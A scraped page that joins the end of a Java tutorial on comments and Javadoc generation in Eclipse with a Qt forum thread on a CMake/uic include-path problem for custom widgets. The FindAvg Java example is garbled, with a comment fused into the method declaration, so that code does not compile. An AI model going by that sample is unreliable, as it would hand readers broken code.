your code well-commented. Creating Web Pages using Javadoc The beauty of Javadocs is that the Java system understands how to read all Java elements’ comments and transform them into standardized, well-formatted, and easy-to-read web pages. In Eclipse, all that is required is to accomplish the following: - Right-click the desired project in the Package Explorer. - Click Next after selecting Export…/Javadoc. - The “Javadoc command” may not be set the first time you generate Javadocs. - If it isn’t already set, click the configure button and navigate to the Java JDK installation folder, where the javadoc.exe file is located. - The complete source code will be picked by default. - Uncheck any packages you do not want documentation to be generated if desired. - For the produced visibility level, choose “Private.” - All available Javadocs will be generated as a result of this. - Choose the “standard doclet” Browser for your documentation’s destination folder. - It is usually a “doc” folder directly below the project’s root. - Subsequently, choose Next. - Click Finish after entering a relevant Document title. For every one of the following, you must write documentation comments: - Interfaces and classes - All input parameters and return values - Methods - Fields The Eclipse will utilize your comments to make your life easier, so you’ll experience the benefits right away. All auto-generated fields and methods, such as those made by your GUI-creating tool, should also be commented. These include WindowBuilder or another code generator, such as UML Lab. The latter will allow Eclipse to show you what each variable does and considerably improve your ability to understand the code in the future. While the extra labor may look tedious, the advantages will surpass the effort. Commenting on things is always a good idea. Internal “//” type comments are highly recommended for documenting what your code is attempting to accomplish. It will save you hours of troubleshooting time if you forget what a function is supposed to accomplish! Remember to comment on any auto-generated method where you’ve written code in the method body, such as a button click listener’s actionPerformed function, to describe the behavior of your code! Overridden Methods Documentation While it may be tempting to skip documenting overriding methods (those marked with the annotation “@Override”), this is only justified if the implementing entity’s documentation would not contribute anything to the documentation supplied by the method’s abstract description. However, because every implementation of an abstract method differs somehow, this circumstance is relatively standard. It’s critical to document such distinctions so that users of those methods know the variations between one implementation and the next. Unfortunately, adding Javadocs to an overridden method replaces the documentation of the abstract method being overridden entirely. Because the abstract description is still relevant, it’s a good idea to include it in the implementation process’s updated documentation. Using the “{@inheritDoc}” tag, this is simple to accomplish: /** * {@inheritDoc} * This inserts the docs from the overridden method above. * Implementation-specific docuementation can then be added here. */ @Override public void codeMethod() { } Tips for Creating Javadocs Autogenerate @param and @return Simply entering “/**Enter>” before a method or class in Eclipse will generate all required @param and @return attributes. Warnings about “self-closing elements not allowed” are no longer displayed The Javadoc compiler in the Java 8 JDK follows HTML 4.01 standards, which allow “void element” tags (tags with no enclosing content) like br and image to be written without the closing “/,” as in the more regularized HTML 5 standard: - HTML 4.01: <br>, <image …> - HTML 5: <br/>, <image …/> Because of this adherence to the previous HTML standard, if an HTML 5 structured void element tag is encountered, Javadoc will throw a “self-closing element not allowed” warning by default. To prevent Javadoc from displaying this warning, use the following command line parameter: - -Xdoclint:all,-html The HTML “lint” style checker is disabled due to this. Unfortunately, the Javadoc documentation is silent on what this setting disables other style checks. When performing an Export/Javadoc operation in Eclipse, you can specify this option by typing the above option (including the initial “-” symbol) into the “Extra Javadoc options” box in the “Configure Javadoc arguments” dialog panel when it appears. Set the compiler to notify you if you don’t have any Javadocs Set the compiler to warn or issue errors on missing or malformed Javadocs in Eclipse’s Preferences/Java/Compiler/Javadoc. It is a great way to ensure that your code is correctly documented! Sharing your Javadocs with others if you want to Javadocs that is generated are simply HTML web pages. The drawback is that you’ll need a webserver to share them with others. Fortunately, Rice provides a straightforward method for displaying web pages from your “U: drive”: - Hosting a personal website - Mounting your U: drive All you have to do is copy your Javadocs to a folder under U:/Public/www, and they’ll be viewable in any browser. For more information on who to contact to determine the precise URL of your Javadocs, see the publications mentioned above. Example: Program for illustrating the frequently used Comment tags in Java /** * <h1>Find average of three numbers!</h1> * The FindAvg program implements an application that * simply calculates the average of three integers and Prints * the output on the screen. * * @author Codeunderscored * @version 1.0 * @since 2017-02-18 */ public class FindAvg { /** * This method is used to find the findAvg(int numA, int numB, int numC) { return (numA + numB + numC)/3; } /** * This is the primary method that makes use of findAvg method. * @param args Unused. * @return Nothing. */ public static void main(String args[]) { FindAvg obj = new FindAvg(); int avg = obj.findAvg(10, 20, 30); System.out.println("Average of 10, 20 and 30 is :" + avg); } } Conclusion You can use comments to explain and improve the readability of Java code. When evaluating alternative code, it is handly in preventing execution. Comments in a program help make it more human-readable by putting the details of the code involved, and effective use of comments makes maintenance and bug-finding easier. When compiling a program, the compiler ignores comments. The kind of comments in Java include: - Single–line comments. - Multi-line comments. - Documentation comments. For illustrating the code functionality, a newbie programmer generally employs single-line comments. It’s one of the most straightforward comments to type. However, single-line comments might be tedious to write because we must offer ‘//’ at every line to describe a complete method in a code or a complex snippet. To get around this, you can utilize multi-line comments. The documentation comments are commonly used while writing code for a project/software package because it aids in generating a documentation page for reference, which is used to learn about the methods available, their parameters, and so on.
https://www.codeunderscored.com/comments-in-java/
CC-MAIN-2022-21
refinedweb
2,175
54.22
It's not the same without you Join the community to find out what other Atlassian users are discussing, debating and creating. Hi guys! 1) I would like to have the ability to Quick Search words in whole issues like in TRAC. If I type eg. "design" it search only issues with word "design". But I would like to search also issues with word "designing" ... 2) In column eg. "created" I see only date but I would like to see "date with hour". Thank you very much. 1. Quick search already does that. Try creating two sample issues with title 'design' and 'designing' and type 'design' in quick search and hit enter. It will return both the isseues. Also fuzzy search can be enabled with ~ at the end : e.g. design~ 2. add a scripted field with this code and add this field to Issue Navigator: import java.text.SimpleDateFormat; return new SimpleDateFormat("MM/dd/yyyy hh:mm:ss").format(issue.getCreated()) Hey there. Question 1: The current Quick Search might not be able to cater. Do you consider customizations or seeking advice from the Atlassian Experts? Question 2: See if the documentation helps or not.
https://community.atlassian.com/t5/Questions/Two-unresolved-problems-with-jira-functionality-Search-and-hour/qaq-p/210251
CC-MAIN-2018-13
refinedweb
196
69.58
i'm a beginner so need some help .. I made a program for addition of two intergers ... but instead of the real value like 2+2=4 i get 2+2=2268633 something ... i made a few more basic ones and im facing the same problem ,,, is something wrong with my compiler ? or is it my mistake btw im writing the code here #include <stdio.h> #include <conio.h> int main(void) { int a; int b; int c; printf("Enter two numbers:"); scanf("%d", &a); scanf("%d", &b); c = a + b; printf("The addition is %d" , &c); getch(); } like for 2+2 i get 2293564 instead of 4 please help people !
http://forums.devshed.com/programming/937889-heelpp-last-post.html
CC-MAIN-2015-48
refinedweb
111
82.65
NEW: Learning electronics? Ask your questions on the new Electronics Questions & Answers site hosted by CircuitLab. Project Help and Ideas » Nerdkit Intervalometer I'm almost finished with my Nerdkit Intervalometer. (An intervalometer is gadget used to take time lapse videos.) I've been working on it for the last 3 or 4 weeks. My goal was to create a project that one could go out and build cheaply and maybe even turn it into a functional gadget. My intervalometer works with Nikon cameras and can be used to take time lapse photos or as a plain old remote control. The only part you'll have to buy besides the Nerdkit is an IR LED ($2.00 or less). The code is hacked together with pieces I took from the tempsensor and traffic light project. For now, the project only works with Nikon cameras, but I've written some code that should work with Canon cameras. I just didn't have one to test it with. The code is available on my blog, but I'll post it here if anyone wants it. Here is a link to the write-up: I'm working on a video of it right now. Cool project and great idea. What ya going to be time-lapsing??? Rick I wanted to do some sunrise/sunsets. I've already done a few. I posted them on youtube. Unfortunately, I'm not very good at it yet. I'm sure they'll get better with practice. Youtube Sunset I like it. Kind of neat to see. Rick I updated my blogpost to add the video. Still at Very nice video presentation. You've got a lot more courage than me to get in front of the camera! FWSquatch, I didn't know what an Intervalometer was until I took a look at your blog. Your idea is awesome! Too often we build something and people seem somewhat indifferent to our projects (I'm currently working on a model rocket launcher for my son) because electronics can do so many things today. They don't realize the sense of accomplishment we gain from finishing a project that actually works. To that end, great work, keep it up!!! Chris B. n3ueaEMTP "They don't realize the sense of accomplishment we gain from finishing a project that actually works." Well said - it's only when we try to do something ourselves that we can truly appreciate the skill and elegance of other peoples work. I remember being overjoyed when I first made an led flash! This is a great project. Very impressive. You also have done a really good job with the vid and the writeup on your blog to show off your achievements. I don't actually own a Cannon camera, but I do know a bloke who does a lot of digital photography using a Cannon EOS 50D. So I may get myself a IR LED and try this bad boy out. Great work! Looking at the specs - the EOS 50D doesn't have IR sensor for triggering - ah well. FWSquatch- This project is the coolest! I'm definitely building it soon. I have a Nikon D40 and just having the remote ability would be cool, much less the time lapse stuff. Awesome! Ted I just finished my version of this project, kind of, I was after the time lapse and didn’t care so much about the camera. So I started with a 5 year old camera that has some problems (looses date and time every power down among other things). I took apart the case and soldered wires onto the shudder button and where the battery connects to the main board. I can’t show pictures for oblivious reasons. So at this point I can externally power the camera by supplying 3.9V to the battery and take picture by shorting the other wires together. I came up with this circuit: I don’t know if it’s the proper way to use a 2N7000 but it works. All the wires where getting cumbersome, and figured I will keep this project so I went all out and made my first prototype board: pic is before cutting to size. I still need to find a power supply exclusively for this that is 6V or more and 500mA. I had a 200mA supply and the voltage would drop too much when the flash capacitor tried to charge and the whole thing would shut down. So now I just turn the camera on point it somewhere, put it on the lowest quality setting and press the start button, then when I’m done I press the stop button and load the pictures on my computer. I downloaded a free program photo Lapse 3 which works well at turning pictures into a time-lapse video. All I have so far is an hour of people walking around outside by the bus stop compressed into 57 seconds. Things I probably won’t do but would be cool, slowly rotate the camera on a stepper motor, or a motion detection trigger. For completeness the code: // Time lapse program Capture.c // for NerdKits with ATmega328p // Send signal to camera to take picture at set interval // PIN DEFINITIONS: // PB2 -- To indication LED // PB1 -- To camera shutter transistor // PC4 -- Button input to trigger start and stop #define F_CPU 14745600 #include <stdio.h> #include <avr/io.h> #include <avr/interrupt.h> #include <avr/pgmspace.h> #include <inttypes.h> #include "../libnerdkits/io_328p.h" #include "../libnerdkits/delay.h" /// How often to take a picture [sec] /// #define FREQ 5 volatile short Count; volatile int TolCount; int main() { cli(); // Start with interrupts off // PB1 & PB2 outputs // DDRB |= (1<<PB2); // Make PB1 an output for showing state PORTB &= ~(1<<PB2); // Start with LED off DDRB |= (1<<PB1); // Make PB2 output to shutter transistor PORTB &= ~(1<<PB1); // Start with shutter off DDRC &= ~(1<<PC4); // Set pin PC4 as input from button PORTC |= (1<<PC4); // Turn on PC4 pull up resistor //Interrupt setup // TCCR1B |= (1<<CS12) | (1<<CS10) | (1<<WGM12); TIMSK1 |= (1<<OCIE1A); OCR1A = 14400-1; //Interrupt timing 1Hz Start: // Initialize variables // TolCount = 0; Count = 1; /// Flash LED to show ready /// while(1) { PORTB |= (1<<PB2); delay_ms(750); PORTB &= ~(1<<PB2); delay_ms(50); if(!(PINC & 1<<PC4)) // Press button to start break; } // clear timer and allow interrupts // TCNT1 = 0; sei(); while(1) { if(!(PINC & 1<<PC4) && TolCount>2) // Break out if at least two pic and button is held break; } cli(); // Turn off interrupts goto Start; while(1); return 0; } // One second timer // ISR(TIMER1_COMPA_vect) { --Count; /// Make MCU 'press' button /// if(!Count) // Take the picture { ++TolCount; Count = FREQ; PORTB |= (1<<PB1); delay_ms(100); PORTB &= ~(1<<PB1); } PORTB ^= (1<<PB2); return; } Great job! I love your project. Glad to see others do this sort of thing. I wish I hadn't got rid of my Nikon cameras or I'd still be playing with mine. Please log in to post a reply.
http://www.nerdkits.com/forum/thread/338/
CC-MAIN-2020-50
refinedweb
1,158
72.66
Before we go any further in terms of qualifications, the "$8,000 (max) & $6,500 (max)credits only apply to purchases after January 1, 2009. The boat would qualify as a primary residence but the time period as indicated above doesn't fit with your acquisition. You can read more about these credits at Also, see the following information related to your 2008 return (which may be amended using Form 1040X) to see if you might qualify for the prior first time homebuyers credit (limited to $7,500) which in effect an interest free loan which must be paid back over 15 years at the rate of $500. each year, paid with your annual income tax return on Form 1040.. If you are satisfied with my answer please "ACCEPT" & thanks for using our service.
http://www.justanswer.com/tax/37i5g-live-aboard-40ft-1979-trojan-motor-yacht-rear-aft-cabin.html
CC-MAIN-2015-11
refinedweb
134
53.75
Given an array of type Element[]: Element[] array = {new Element(1), new Element(2), new Element(3)}; How do I convert this array into an object of type ArrayList<Element>? ArrayList<Element> arrayList = ???; 0 new ArrayList<>(Arrays.asList(array)); 10 - 396 - 159 - 272 @Calum and @Pool – as noted below in Alex Miller’s answer, using Arrays.asList(array)without passing it into a new ArrayListobject will fix the size of the list. One of the more common reasons to use an ArrayListis to be able to dynamically change its size, and your suggestion would prevent this. Sep 26, 2011 at 19:04 - 146 - 87 @Adam Please study the javadoc for java.util.List. The contract for add allows them to throw an UnsupportedOperationException. docs.oracle.com/javase/7/docs/api/java/util/… Admittedly, from an object-oriented perspective it is not very nice that many times you have to know the concrete implementation in order to use a collection – this was a pragmatic design choice in order to keep the framework simple. Feb 22, 2013 at 9:41 Given: Element[] array = new Element[] { new Element(1), new Element(2), new Element(3) }; The simplest answer is to do: List<Element> list = Arrays.asList(array); This will work fine. But some caveats: - The list returned from asList has fixed size. So, if you want to be able to add or remove elements from the returned list in your code, you’ll need to wrap it in a new ArrayList. Otherwise you’ll get an UnsupportedOperationException. - The list returned from asList()is backed by the original array. If you modify the original array, the list will be modified as well. This may be surprising. 3 - 42 Arrays.asList() merely creates an ArrayList by wrapping the existing array so it is O(1). May 23, 2012 at 13:15 - 33 Wrapping in a new ArrayList() will cause all elements of the fixed size list to be iterated and added to the new ArrayList so is O(n). May 23, 2012 at 13:21 To clarify, Arrays.asList()creates a java.util.Arrays.ArrayList(static nested class in java.util.Arrays), not a java.util.ArrayList. Feb 15 at 11:24 (old thread, but just 2 cents as none mention Guava or other libs and some other details) If You Can, Use Guava It’s worth pointing out the Guava way, which greatly simplifies these shenanigans: Usage For an Immutable List Use the ImmutableList class and its of() and copyOf() factory methods (elements can’t be null): List<String> il = ImmutableList.of("string", "elements"); // from varargs List<String> il = ImmutableList.copyOf(aStringArray); // from array For A Mutable List Use the Lists class and its newArrayList() factory methods: List<String> l1 = Lists.newArrayList(anotherListOrCollection); // from collection List<String> l2 = Lists.newArrayList(aStringArray); // from array List<String> l3 = Lists.newArrayList("or", "string", "elements"); // from varargs Please also note the similar methods for other data structures in other classes, for instance in Sets. Why Guava? The main attraction could be to reduce the clutter due to generics for type-safety, as the use of the Guava factory methods allow the types to be inferred most of the time. However, this argument holds less water since Java 7 arrived with the new diamond operator. But it’s not the only reason (and Java 7 isn’t everywhere yet): the shorthand syntax is also very handy, and the methods initializers, as seen above, allow to write more expressive code. You do in one Guava call what takes 2 with the current Java Collections. If You Can’t… For an Immutable List Use the JDK’s Arrays class and its asList() factory method, wrapped with a Collections.unmodifiableList(): List<String> l1 = Collections.unmodifiableList(Arrays.asList(anArrayOfElements)); List<String> l2 = Collections.unmodifiableList(Arrays.asList("element1", "element2")); Note that the returned type for asList() is a List using a concrete ArrayList implementation, but it is NOT java.util.ArrayList. It’s an inner type, which emulates an ArrayList but actually directly references the passed array and makes it “write through” (modifications are reflected in the array). It forbids modifications through some of the List API’s methods by way of simply extending an AbstractList (so, adding or removing elements is unsupported), however it allows calls to set() to override elements. Thus this list isn’t truly immutable and a call to asList() should be wrapped with Collections.unmodifiableList(). See the next step if you need a mutable list. For a Mutable List Same as above, but wrapped with an actual java.util.ArrayList: List<String> l1 = new ArrayList<String>(Arrays.asList(array)); // Java 1.5 to 1.6 List<String> l1b = new ArrayList<>(Arrays.asList(array)); // Java 1.7+ List<String> l2 = new ArrayList<String>(Arrays.asList("a", "b")); // Java 1.5 to 1.6 List<String> l2b = new ArrayList<>(Arrays.asList("a", "b")); // Java 1.7+ For Educational Purposes: The Good ol’ Manual Way // for Java 1.5+ static <T> List<T> arrayToList(final T[] array) { final List<T> l = new ArrayList<T>(array.length); for (final T s : array) { l.add(s); } return (l); } // for Java < 1.5 (no generics, no compile-time type-safety, boo!) static List arrayToList(final Object[] array) { final List l = new ArrayList(array.length); for (int i = 0; i < array.length; i++) { l.add(array[i]); } return (l); } 1 - 31 +1 But note that the Listreturned by Arrays.asListis mutable in that you can still setelements – it just isn’t resizable. For immutable lists without Guava you might mention Collections.unmodifiableList. Jan 10, 2013 at 2:54 |
https://coded3.com/create-arraylist-from-array/
CC-MAIN-2022-40
refinedweb
932
58.89
How can I use a RealView symbol definitions file (symdefs/.sym) file in IAR Embedded Workbench for ARM? This is an technically advanced solution. It requires that you for example know what AEABI is and what calling convention is used. Only a limited numbers of errors and warnings can be produced for the external symbols. You want one image generated with IAR Embedded Workbench for ARM to know the global symbol values of another image generated with RealView Compilation Tools. You can use a symbol definitions (symdefs) file. Generate and copy this file to your project directory. Use the armlink option --symdefs. armlink --symdefs filename For further information regarding the ARM Linker you are refeered to ARM documentation. Use the sym2h.bat script file in prebuild to generate the .h and .f files - IAR Embedded Workbench > Project > Options... > Build Actions > Pre-build command line: $PROJ_DIR$\sym2h.bat $PROJ_DIR$\filename.sym Use: sym2h.bat filename The filename should be a fully qualified path name. Output directory is the same as the input directory. Filename input is required. The filename should be a fully qualified path name. Output directory is the same as the input directory. To use the generated symbol definitions file add an Extra Option to ilinkerarm.exe - IAR Embedded Workbench > Project > Options... > Linker > Extra Options > select 'Use command line options' and Command line options: -f $PROJ_DIR$\filename.f Use: -f file Read command line options from file To use the generated external definitions file add include to your code - #include "filename.h" Tested with a symdefs file generated from RealView Compilation Tools version 2.2 [Build 576] and IAR Embedded Workbench for ARM version 5.11. Note that this bat file only generates a standard definition based on if the symbol is A(arm) and T(thumb) or D(data). If A or T script uses - void <SYMBOL_NAME>(); If D script uses - extern int <SYMBOL_NAME>; You may have to cast the use of the symbols to what you need. If you not already have your externally built image on your target, one way is to use - ilinkarm.exe --image_input filename.axf Use: --image_input file[,symbol[,section[,alignment]]] Put image file in section from file There is an example project on the link: Example project including sym2h.zip. IAR Systems neither sells nor supports sym2h.bat - it is not part of our tool chain. Thus these files are provided as is without any promise of further support or information. If you have improvement suggestions regards to sym2h.bat that you want to share with us and other developers we are interested to hear them. All product names are trademarks or registered trademarks of their respective owners.
https://www.iar.com/support/tech-notes/linker/how-can-i-use-realview-.sym-file-in-embedded-workbench-for-arm-5.x/
CC-MAIN-2017-17
refinedweb
446
59.9
Fortunately, the solution is easy: ↪ psql template1 template1=# alter role my_user_name with superuser; You may wonder what the hell template1is. Fear not! It represents systemwide settings, so naming it after view-formatting variables could not have been more logical. Absolutely could not. No way on earth could any more logical name have been found, anywhere in all the lexicons of every human language. To be fair, "template" can carry broader meanings, but even then, naming a template "template" is like naming a variable "variable." Anybody who does that to their users does not have their users' joy at the forefront of their list of priorities. Anyway. Yes. A perfect fix. And by perfect I mean extremely imperfect. Switching your user to superuser means you don't have to spend three hours on it just to use your dev box, but if you deployed this way, you'd get hacked in seconds. In seriousness, PostgreSQL rocks, but it's not without its limitations. Based on the excellent PeepCode on Postgres, I hacked together (copy/pasted, really) a very, very simple implementation of full-text search. def self.search_description(query) conditions = <<-EOS to_tsvector('english', description) @@ plainto_tsquery('english', ?) EOS where(conditions, query) endThe repetition of "english" frustrates me as a DRY-crazed Rails dev, but what's more worrisome here is how Postgres handles stemming. Stemming uses basic natural language processing to recognize (for example) that the terms "stem," "stemming," and "stemmed" are all related. It's very useful for "fuzzy" searching, but useless for exact matches, so sometimes you want to turn it off. Here's what the code looks like with stemming on: to_tsvector("english"... to_tsvector("default"...Of course, if you use "default," PostgreSQL uses an English dictionary, because English is the default for "default." And "english." If somebody who worked for me wrote an API like that, I wouldn't just fire them, I'd probably throw them out of a window and set them on fire. (Hopefully in the opposite order, but not necessarily.) But it gets even worse. Here's what it looks like with stemming off: to_tsvector("simple"... So the opposite of "simple" is "default." Here I have a fundamental philosophical disagreement with the Postgres devs, because I believe defaults should be simple, yet I have to applaud their honesty, because, to be fair, in the context of Postgres, it is indeed pretty logical to define "simple" as the opposite of "default." Points for consistency at least.
http://gilesbowkett.blogspot.com/2011/07/error-must-be-owner-of-language-plpgsql.html
CC-MAIN-2019-04
refinedweb
410
63.49
Issue in compatibility - visual.GratingStim() in 64 bit system with 32 bit system in psychop Hello All, I am working on displaying visual stimuli using the visual.GratingStim() function. The program seeks to show a combination of vertical and horizontal white & black lines that alternate one after the other. I have no issues with the methodology & the overall sequence of how the program runs. The issue I am facing is that while the lines get displayed quite well on a Windos 64 bit system, but when the program is run on a 32 bit system with 4 times the RAM, there is a flickering effect that gets induced along with a rainbow effect. Can someone suggest what to do, if I want a smooth display of the alternating lines on a 32 bit system and whether some changes in the visual.GratingStim() function are suggested. The code also sends a trigger to a brainvision actichamp EEG system when it changes its sequence speed. The code is as follows: from psychopy import visual, core, event, monitors, gui, data import numpy as np import os import sys import psychopy import pygame import time import random import winsound from random import shuffle from psychopy import parallel try: from ctypes import windll global io io = windll.dlportio # requires dlportio.dll !!! print 'Parallel port open' except: print 'The parallel port couldn\'t be opened' myWinIN = visual.Window( size=(1920, 1080), allowGUI=False, monitor="testMonitor", fullscr=True, units="deg", color=[1, 1, 1]) myWinIN.setMouseVisible(False) psychopy.event.Mouse(visible = False, newPos = None, win = None) Instruction = visual.TextStim(win = myWinIN,text = 'Experiment is About to Start Be Ready',pos=(0.0, 0.0), color=(1.0, -1.0, -1.0), colorSpace='rgb', opacity=1.0, contrast=1.0) myWinIN.flip() Instruction.draw(win = myWinIN) myWinIN.flip() core.wait(4) #create a window mywin = visual.Window([1920,1080],monitor="testMonitor", units="pix") mywin.setMouseVisible(False) psychopy.event.Mouse(visible = False, newPos = None, win = None) grating = visual.GratingStim(win=mywin, mask='none', size=1366, pos=[0.0,0.0], contrast=0.0) message = visual.TextStim(mywin, text='+',height=50.0, color=[0,0,0]) message1 = visual.TextStim(mywin, text='+',height=50.0, color=[-1,-1,-1]) grating.draw() message1.draw() mywin.flip() core.wait(2) t=0 bw=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] #bw=[3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, .15] #bw=[15, 16, 17, 18, 19, 20] #bw=[1, 2] for i in range(20): width=2*bw[i] print width s=(1080,1920) a=np.ones(s)*1 print a.shape b=np.ones(s)*1 [r,c]=a.shape for ib in range(bw[i]): a[:,ib:c:width]=-1; b[ib:r:width,:]=-1; for k in range(20): for key in event.getKeys(): if key in ['escape', 'q']: mywin.close() core.quit() myStim = visual.GratingStim(mywin,size=1920, contrast=1.0, tex=a, mask='none',pos=[0.0,0.0]) myStim.draw() message.draw() mywin.flip() if k == 0: try: windll.inpout32.Out32(0x0000D100, i+1) core.wait(0.01) windll.inpout32.Out32(0x0000D100, 0) except: print 'Error sending trigger' core.wait(0.002) myStim = visual.GratingStim(mywin,size=1920, contrast=1.0, tex=a, ori=90, mask='none',pos=[0.0,0.0]) myStim.draw() message.draw() mywin.flip() core.wait(0.002) grating.draw() message1.draw() mywin.flip() core.wait(2)
http://forum.cogsci.nl/discussion/2038/issue-in-compatibility-visual-gratingstim-in-64-bit-system-with-32-bit-system-in-psychop
CC-MAIN-2019-30
refinedweb
581
51.24
stat(), Here's the stat structure that's defined in <sys/stat.h>: struct stat { #if _FILE_OFFSET_BITS - 0 == 64 ino_t st_ino; /* File serial number. */ off_t st_size; /* File size in bytes. */ #elif !defined(_FILE_OFFSET_BITS) || _FILE_OFFSET_BITS == 32 #if defined(__LITTLEENDIAN__) ino_t st_ino; /* File serial number. */ ino_t st_ino_hi; off_t st_size; off_t st_size_hi; #elif defined(__BIGENDIAN__) ino_t st_ino_hi; ino_t st_ino; /* File serial number. */ off_t st_size_hi; off_t st_size; #else #error endian not configured for system #endif #else #error _FILE_OFFSET_BITS value is unsupported #endif dev_t st_dev; /* ID of the device containing the file. */ dev_t st_rdev; /* Device ID. */ uid_t st_uid; /* User ID of file. */ gid_t st_gid; /* Group ID of file. */ time_t st_mtime; /* Time of last data modification. */ time_t st_atime; /* Time when file data was last accessed.*/ time_t st_ctime; /* Time of last file status change. */ mode_t st_mode; /* File types and permissions. */ nlink_t st_nlink; /* Number of hard links to the file. */ blksize_t st_blocksize; /* Size of a block used by st_nblocks. */ int32_t st_nblocks; /* Number of blocks st_blocksize blocks. */ blksize_t st_blksize; /* Preferred I/O block size for object. */ #if _FILE_OFFSET_BITS - 0 == 64 blkcnt_t st_blocks; /* No. of 512-byte blocks allocated for a file. */ #elif !defined(_FILE_OFFSET_BITS) || _FILE_OFFSET_BITS == 32 #if defined(__LITTLEENDIAN__) blkcnt_t st_blocks; /* No. of 512-byte blocks allocated for a file. */ blkcnt_t st_blocks_hi; #elif defined(__BIGENDIAN__) blkcnt_t st_blocks_hi; blkcnt_t st_blocks; #else #error endian not configured for system #endif #else #error _FILE_OFFSET_BITS value is unsupported #endif };: - following macros test whether a file is of a specified type. The value m supplied to the macros is the value of the st_mode field of a stat structure. The macros evaluate to a nonzero value if the test is true, and zero if the test is. These macros test whether a file is of the specified type. The value of the buf argument supplied to the macros is a pointer to a stat structure. The macro evaluates to a nonzero value if the specified object is implemented as a distinct file type and the specified file type is contained in the stat structure referenced by the pointer buf. Otherwise, the macro evaluates to zero. -: Determine the size of a file: #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> int main( void ) { struct stat buf; if( stat( "file", &buf ) != -1 ) { printf( "File size = %d\n", buf.st_size ); } return EXIT_SUCCESS; } Determine the amount of free memory: #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> int main () { struct stat buf; if ( stat( "/proc", &buf ) == -1) { perror ("stat" ); return EXIT_FAILURE; } else { printf ("Free memory: %d bytes\n", buf.st_size); return EXIT_SUCCESS; } } Classification: stat() is POSIX 1003.1; stat64() is Large-file support
http://developer.blackberry.com/playbook/native/reference/com.qnx.doc.neutrino.lib_ref/topic/s/stat.html
CC-MAIN-2019-30
refinedweb
428
69.48
I have the following classes: public class BaseRepository { public virtual void Delete(int id) { Console.WriteLine("Delete by id in BaseRepository"); } } public class EFRepository: BaseRepository { public override void Delete(int id) { Console.WriteLine("Delete by Id in EFRepository"); } public void Delete(object entity) { Console.WriteLine("Delete by entity in EFRepository"); } } var repository = new EFRepository(); int id = 1; repository.Delete(id); EFRepository.Delete(object entity) Basically, the way method invocation works in C# is that the compiler looks at the most derived class first, and sees whether any newly declared methods (not just overridden ones) are applicable for the arguments for the call. If there's at least one applicable method, overload resolution works out which is the best one. If there isn't, it tries the base class, and so on. I agree this is surprising - it's an attempt to counter the "brittle base class" issue, but I would personally prefer that any overridden methods were included in the candidate set. Method invocation is described in section 7.6.5.1 of the C# 5 specification. The relevant parts here is: - The set of candidate methods is reduced to contain only methods from the most derived types: For each method C.Fin the set, where Cis the type in which the method Fis declared, all methods declared in a base type of Care removed from the set. Furthermore, if Cis a class type other than object, all methods declared in an interface type are removed from the set. (This latter rule only has affect when the method group was the result of a member lookup on a type parameter having an effective base class other than object and a non-empty effective interface set.) And in the member lookup part of 7.4, override methods are explicitly removed: Members that include an overridemodifier are excluded from the set.
https://codedump.io/share/zCP8sFspkWwH/1/method-overloading-and-inheritance
CC-MAIN-2017-26
refinedweb
309
53.31
Important: Please read the Qt Code of Conduct - uic + CMake + GCC + custom widgets + out-of-source problem Hello. I have a problem with a CMake out-of-source build not setting up the uic-generated header so that it can reach my in-source header with a custom widget. Interestingly, MSVC manages to find it. Do you have any hints? I guess I could throw the source directory into the include path, but that doesn't seem clean. Here's a minimized example. It does nothing, but it compiles under MSVC 19.25.28614 while not compiling under GCC 10.1.0 (both with out-of-source CMake 3.16/3.17 builds), and I think it illustrates the problem. Of course, in the program I was working on the BetterButton equivalents actually do something, the UI is utilized, etc.. I tried to search for existing information of the internet, but I didn't manage to come up with a combination of keywords that would get anywhere close. betterbutton.h: #ifndef HEADER_H #define HEADER_H #include <QPushButton> using BetterButton = QPushButton; #endif //HEADER_H CMakeLists.txt: cmake_minimum_required(VERSION 3.14) project(minitest) find_package(Qt5 COMPONENTS Widgets Gui REQUIRED) add_executable(minitest "main.cpp" "betterbutton.h" "ui.ui" ) set_target_properties(minitest PROPERTIES AUTOUIC ON AUTOMOC ON AUTORCC ON) target_link_libraries(minitest PRIVATE Qt5::Core Qt5::Widgets Qt5::Gui) main.cpp: #include "ui_ui.h" int main() { return 0; } ui.ui: <?xml version="1.0" encoding="UTF-8"?> <ui version="4.0"> <class>Form</class> <widget class="QWidget" name="Form"> <property name="geometry"> <rect> <x>0</x> <y>0</y> <width>176</width> <height>65</height> </rect> </property> <property name="windowTitle"> <string>Form</string> </property> <widget class="BetterButton" name="pushButton"> <property name="geometry"> <rect> <x>20</x> <y>20</y> <width>75</width> <height>23</height> </rect> </property> <property name="text"> <string>PushButton</string> </property> </widget> </widget> <customwidgets> <customwidget> <class>BetterButton</class> <extends>QPushButton</extends> <header>betterbutton.h</header> </customwidget> </customwidgets> <resources/> <connections/> </ui> @SGaist Thank you for your assistance. Firstly, adding the three lines setting those global variables does not eliminate the error in question. Secondly, do they change anything given the following line was already present? set_target_properties(minitest PROPERTIES AUTOUIC ON AUTOMOC ON AUTORCC ON) I've just realized that the error message would probably be helpful. In file included from (scrubbed)/min-s/main.cpp:1: (scrubbed)/min-m/minitest_autogen/include/ui_ui.h:15:10: fatal error: betterbutton.h: No such file or directory 15 | #include "betterbutton.h" | ^~~~~~~~~~~~~~~~ compilation terminated. - jsulm Lifetime Qt Champion last edited by @stan423321 said in uic + CMake + GCC + custom widgets + out-of-source problem: betterbutton.h Where is it located? All 4 files described in opening post are in the min-s directory. Next to it there's a min-m directory where I build it. You don't seem to add the directory to the include search paths. Is that the standard practice for working with .ui files? It doesn't seem right to me, this breaks the separation of system headers and project ones. Also, I can't help but wonder why MSVC wouldn't need this... I am not sure to follow your question here. You told us that you have files in subdirectories but yet you do not provide the necessary include paths for the compiler to find the headers in your sub folder. Well, if I include them from .cpp files, both GCC and MSVC automatically know to look in the folder with the source file. I have never before used the include path for in-project files, all the advice I have followed before recommended using include paths just for libraries (e.g. Qt). Not to mention, in a more complex setup, it would break relative paths. It depends all on how you write your includes in your code. cmake provides the CMAKE_INCLUDE_CURRENT_DIR variable so you can ensure that your project folder is used for the includes. Well, huh. I thought I tried that one with the bigger project before, but it does work with the test program here, so that must have been something else. Thank you for your assistance.
https://forum.qt.io/topic/115489/uic-cmake-gcc-custom-widgets-out-of-source-problem/3
CC-MAIN-2021-25
refinedweb
